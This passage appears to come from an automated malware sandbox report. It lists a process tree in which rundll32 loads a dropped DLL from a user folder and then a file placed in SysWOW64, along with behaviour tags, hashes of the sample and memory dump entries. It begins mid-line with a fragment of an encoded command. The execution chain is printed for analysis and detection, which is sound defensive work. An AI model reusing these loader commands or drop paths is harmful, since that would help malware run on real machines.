JwApACsAJwBDACcAKQA=2⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Tl41pux\Bmd_p5f\G35D.dll AnyString3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Tl41pux\Bmd_p5f\G35D.dll AnyString4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Users\Admin\Tl41pux\Bmd_p5f\G35D.dll",#15⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Tktjvzm\ttmale.lry",pRfrNjwQqCiwvFP6⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Tktjvzm\ttmale.lry",#17⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\Tl41pux\Bmd_p5f\G35D.dllMD5
87ab0405dd92650067542696ee0c2c98
SHA1204e0200e2c648edf70d90472e0b6c4b15bc58c8
SHA2568a87e9ca0011dced9b29abff8ffa438815ed675b7c9fcef3e546109a08f2ab45
SHA5122fbb98040f88eb7d3f34157372db49fb7ee933bd63a59d74b1fd91d8ec0eaf065aa8cd69851ec75c2c379e174a3eaaf9d630f847bc525ba61fc127a68454e2d2
-
\Users\Admin\Tl41pux\Bmd_p5f\G35D.dllMD5
87ab0405dd92650067542696ee0c2c98
SHA1204e0200e2c648edf70d90472e0b6c4b15bc58c8
SHA2568a87e9ca0011dced9b29abff8ffa438815ed675b7c9fcef3e546109a08f2ab45
SHA5122fbb98040f88eb7d3f34157372db49fb7ee933bd63a59d74b1fd91d8ec0eaf065aa8cd69851ec75c2c379e174a3eaaf9d630f847bc525ba61fc127a68454e2d2
-
\Users\Admin\Tl41pux\Bmd_p5f\G35D.dllMD5
87ab0405dd92650067542696ee0c2c98
SHA1204e0200e2c648edf70d90472e0b6c4b15bc58c8
SHA2568a87e9ca0011dced9b29abff8ffa438815ed675b7c9fcef3e546109a08f2ab45
SHA5122fbb98040f88eb7d3f34157372db49fb7ee933bd63a59d74b1fd91d8ec0eaf065aa8cd69851ec75c2c379e174a3eaaf9d630f847bc525ba61fc127a68454e2d2
-
\Users\Admin\Tl41pux\Bmd_p5f\G35D.dllMD5
87ab0405dd92650067542696ee0c2c98
SHA1204e0200e2c648edf70d90472e0b6c4b15bc58c8
SHA2568a87e9ca0011dced9b29abff8ffa438815ed675b7c9fcef3e546109a08f2ab45
SHA5122fbb98040f88eb7d3f34157372db49fb7ee933bd63a59d74b1fd91d8ec0eaf065aa8cd69851ec75c2c379e174a3eaaf9d630f847bc525ba61fc127a68454e2d2
-
\Users\Admin\Tl41pux\Bmd_p5f\G35D.dllMD5
87ab0405dd92650067542696ee0c2c98
SHA1204e0200e2c648edf70d90472e0b6c4b15bc58c8
SHA2568a87e9ca0011dced9b29abff8ffa438815ed675b7c9fcef3e546109a08f2ab45
SHA5122fbb98040f88eb7d3f34157372db49fb7ee933bd63a59d74b1fd91d8ec0eaf065aa8cd69851ec75c2c379e174a3eaaf9d630f847bc525ba61fc127a68454e2d2
-
\Users\Admin\Tl41pux\Bmd_p5f\G35D.dllMD5
87ab0405dd92650067542696ee0c2c98
SHA1204e0200e2c648edf70d90472e0b6c4b15bc58c8
SHA2568a87e9ca0011dced9b29abff8ffa438815ed675b7c9fcef3e546109a08f2ab45
SHA5122fbb98040f88eb7d3f34157372db49fb7ee933bd63a59d74b1fd91d8ec0eaf065aa8cd69851ec75c2c379e174a3eaaf9d630f847bc525ba61fc127a68454e2d2
-
\Users\Admin\Tl41pux\Bmd_p5f\G35D.dllMD5
87ab0405dd92650067542696ee0c2c98
SHA1204e0200e2c648edf70d90472e0b6c4b15bc58c8
SHA2568a87e9ca0011dced9b29abff8ffa438815ed675b7c9fcef3e546109a08f2ab45
SHA5122fbb98040f88eb7d3f34157372db49fb7ee933bd63a59d74b1fd91d8ec0eaf065aa8cd69851ec75c2c379e174a3eaaf9d630f847bc525ba61fc127a68454e2d2
-
\Users\Admin\Tl41pux\Bmd_p5f\G35D.dllMD5
87ab0405dd92650067542696ee0c2c98
SHA1204e0200e2c648edf70d90472e0b6c4b15bc58c8
SHA2568a87e9ca0011dced9b29abff8ffa438815ed675b7c9fcef3e546109a08f2ab45
SHA5122fbb98040f88eb7d3f34157372db49fb7ee933bd63a59d74b1fd91d8ec0eaf065aa8cd69851ec75c2c379e174a3eaaf9d630f847bc525ba61fc127a68454e2d2
-
\Users\Admin\Tl41pux\Bmd_p5f\G35D.dllMD5
87ab0405dd92650067542696ee0c2c98
SHA1204e0200e2c648edf70d90472e0b6c4b15bc58c8
SHA2568a87e9ca0011dced9b29abff8ffa438815ed675b7c9fcef3e546109a08f2ab45
SHA5122fbb98040f88eb7d3f34157372db49fb7ee933bd63a59d74b1fd91d8ec0eaf065aa8cd69851ec75c2c379e174a3eaaf9d630f847bc525ba61fc127a68454e2d2
-
memory/332-33-0x0000000000000000-mapping.dmp
-
memory/384-2-0x0000000072581000-0x0000000072584000-memory.dmpFilesize
12KB
-
memory/384-3-0x0000000070001000-0x0000000070003000-memory.dmpFilesize
8KB
-
memory/384-4-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
-
memory/568-16-0x000000001B990000-0x000000001B991000-memory.dmpFilesize
4KB
-
memory/568-14-0x0000000002270000-0x0000000002271000-memory.dmpFilesize
4KB
-
memory/568-9-0x0000000002310000-0x0000000002311000-memory.dmpFilesize
4KB
-
memory/568-12-0x000000001ABF0000-0x000000001ABF2000-memory.dmpFilesize
8KB
-
memory/568-13-0x000000001ABF4000-0x000000001ABF6000-memory.dmpFilesize
8KB
-
memory/568-8-0x000007FEF5010000-0x000007FEF59FC000-memory.dmpFilesize
9.9MB
-
memory/568-7-0x000007FEFB9D1000-0x000007FEFB9D3000-memory.dmpFilesize
8KB
-
memory/568-6-0x0000000000000000-mapping.dmp
-
memory/568-10-0x000000001AC70000-0x000000001AC71000-memory.dmpFilesize
4KB
-
memory/568-11-0x0000000002570000-0x0000000002571000-memory.dmpFilesize
4KB
-
memory/568-15-0x000000001AB00000-0x000000001AB01000-memory.dmpFilesize
4KB
-
memory/676-37-0x0000000000000000-mapping.dmp
-
memory/684-5-0x0000000000000000-mapping.dmp
-
memory/1000-43-0x000007FEF7300000-0x000007FEF757A000-memory.dmpFilesize
2.5MB
-
memory/1304-17-0x0000000000000000-mapping.dmp
-
memory/1388-25-0x0000000000000000-mapping.dmp
-
memory/1680-20-0x0000000076241000-0x0000000076243000-memory.dmpFilesize
8KB
-
memory/1680-31-0x0000000000120000-0x0000000000140000-memory.dmpFilesize
128KB
-
memory/1680-32-0x0000000010000000-0x0000000010023000-memory.dmpFilesize
140KB
-
memory/1680-19-0x0000000000000000-mapping.dmp